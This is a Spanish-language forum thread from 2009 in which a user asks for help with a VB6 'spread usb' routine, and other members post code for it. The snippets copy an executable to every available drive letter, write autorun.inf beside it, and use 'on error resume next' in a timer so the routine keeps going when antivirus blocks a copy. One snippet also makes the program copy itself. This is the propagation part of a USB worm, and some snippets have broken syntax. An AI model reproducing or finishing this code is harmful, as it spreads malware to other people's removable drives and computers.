Página 1 de 1
AYUDA VB6 FILECOPY
Publicado: 16 May 2009, 02:46
por AdRi4N
Buenoo... pues.. sty trabajndo en un spread usb pero manual, es decir yo activo el exe de cuando copiarse, y utilizo el filecopy, copio los archivos a todas las unidades (menos a las mias xD) y el problema es ke, cuando no encuentra una ruta da el error (cosa ke veo normal) pero lo que kiero es ke pase del error y siga con la siguiente unidad, y si no hay, ke valla a la suigiente... ¿me entendeis?...
pues.. solo pido ayuda sobre esto, creo ke es muy facil, pero yo no se nada de vb...
GRACIAS
Re: AYUDA VB6 FILECOPY
Publicado: 16 May 2009, 03:06
por Snopk
asi es la idea :
on error (si hay error) goto (ir a) siguiente(línea especificada debe estar en el mismo procedimiento que la instrucción On Error)
Código: Seleccionar todo
On Error GoTo siguiente
filecopy "c:/blabla.exe" ," f:/blabla.exe "
siguiente:
filecopy "c:/blabla.exe" ," g:/blabla.exe "
que mal explico
saludos
Re: AYUDA VB6 FILECOPY
Publicado: 16 May 2009, 04:40
por K-0Z
al-hacker escribió:asi es la idea :
on error (si hay error) goto (ir a) siguiente(línea especificada debe estar en el mismo procedimiento que la instrucción On Error)
Código: Seleccionar todo
On Error GoTo siguiente
filecopy "c:/blabla.exe" ," f:/blabla.exe "
siguiente:
filecopy "c:/blabla.exe" ," g:/blabla.exe "
que mal explico
saludos
esto no quedaria bien, supongamos que hay mas lineas abajo de copiarse, como crear el autorun.inf
Código: Seleccionar todo
On Error GoTo siguiente
filecopy "c:/blabla.exe" ," f:/blabla.exe "
Dim canalLibre As Integer
canalLibre = FreeFile
Open "f:\autorun.inf" For Output As #canalLibre
Print #canalLibre,autorun
Close #canalLibre
siguiente:
filecopy "c:/blabla.exe" ," g:/blabla.exe "
la etiqueta de error lo tomas como si la unidad no estuviera, pero no nada mas puede probocar un error si no existe la unidad, por ejemplo que el archivo a copiarse primero sea detectado por el antivirus o que este siendo utilizado, no pasaria a la segunda cadena si no al siguiente copiador, para esto es mejor usar un timer y usar el resumidor de errores
Código: Seleccionar todo
Private Sub spread_Timer()
on error resume next
filecopy "c:/blabla.exe" ," f:/blabla.exe "
Dim canalLibre As Integer
canalLibre = FreeFile
Open "f:\autorun.inf" For Output As #canalLibre
Print #canalLibre,autorun
Close #canalLibre
filecopy "c:/blabla.exe" ," g:/blabla.exe "
Open "g:\autorun.inf" For Output As #canalLibre
Print #canalLibre,autorun
Close #canalLibre
....
end sub
de esta forma seguiria el codec aunque sucederia un error, seguiria con la accion siguiente, espero y te haya ayudado , salu2
Re: AYUDA VB6 FILECOPY
Publicado: 16 May 2009, 13:46
por AdRi4N
Creo que soy un catetooo No entiendo ningunoo... pero gracias !!!
PD:el autorun.inf ya esta escrito, es solo copiarlo.
Re: AYUDA VB6 FILECOPY
Publicado: 16 May 2009, 13:56
por Xpro
AdRpsp escribió:Creo que soy un catetooo No entiendo ningunoo... pero gracias !!!
PD:el autorun.inf ya esta escrito, es solo copiarlo.
Copiar un archivo, ( así mismo )
Filecopy app.path & "\", app.paht "archivo final.exe"
Eso hace que se autocopie con otro nombre.
Ahora , que se copie ah otro lugar:
Filecopy app.path & "\" & app.exename & ".exe", C:\archivo.exe
( creo que era así ) eso hace que te autocopies a C:\archivo.exe
Re: AYUDA VB6 FILECOPY
Publicado: 16 May 2009, 14:52
por AdRi4N
No es autocopiado, es copiado solo xD y el problema es los errores, los que salen si no encuentran la unidad de destino
Re: AYUDA VB6 FILECOPY
Publicado: 16 May 2009, 16:26
por Xpro
ok:
If C:\ = "" Then
MsgBox " La unidad existe "
Else
Goto Error next siguiente
End if
siguiente:
If F:\ = "" Then
Msgbox " la unidaad existe"
Else
Goto Error next siguiente2
Siguiente2:
y así sucesivamente..
Re: AYUDA VB6 FILECOPY
Publicado: 16 May 2009, 16:34
por shark0
xpro escribió:ok:
If C:\ = "" Then
MsgBox " La unidad existe "
Else
Goto Error next siguiente
End if
siguiente:
If F:\ = "" Then
Msgbox " la unidaad existe"
Else
Goto Error next siguiente2
Siguiente2:
y así sucesivamente..
Eso está mal, seria algo asi :
If Dir("C:\",vbDirectory) <> "" Then
MsgBox " La unidad existe "
Else
Goto Error next Siguiente
End if
Siguiente:
If Dir("F:\",vbDirectory) <> "" Then
Msgbox " la unidaad existe"
Else
Goto Error next Siguiente2
Siguiente2:
Saludos!
Re: AYUDA VB6 FILECOPY
Publicado: 16 May 2009, 16:39
por Xpro
si señor , es cierto.
Re: AYUDA VB6 FILECOPY
Publicado: 18 May 2009, 04:45
por tercer_ojo
Google:
Y
sanlegas es el que más se arrimó a la solución al proponer
FreeFile...